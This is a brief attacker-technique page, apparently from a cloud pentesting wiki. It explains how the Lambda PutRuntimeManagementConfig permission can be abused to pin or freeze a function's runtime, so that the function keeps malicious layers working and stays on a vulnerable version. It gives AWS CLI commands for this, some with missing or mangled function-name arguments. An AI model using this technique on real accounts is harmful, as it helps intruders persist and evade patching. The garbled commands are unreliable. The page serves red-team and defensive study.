AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig

Reading time: 0 minutes

Abuse lambda:PutRuntimeManagementConfig to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.

Requirements: lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, lambda:GetRuntimeManagementConfig.

Example (us-east-1):

• Invoke: aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5
• Freeze updates: aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1
• Verify: aws lambda get-runtime-management-config --function-name --region us-east-1

Optionally pin to a specific runtime version by extracting the Runtime Version ARN from INIT_START logs and using --update-runtime-on Manual --runtime-version-arn <arn>.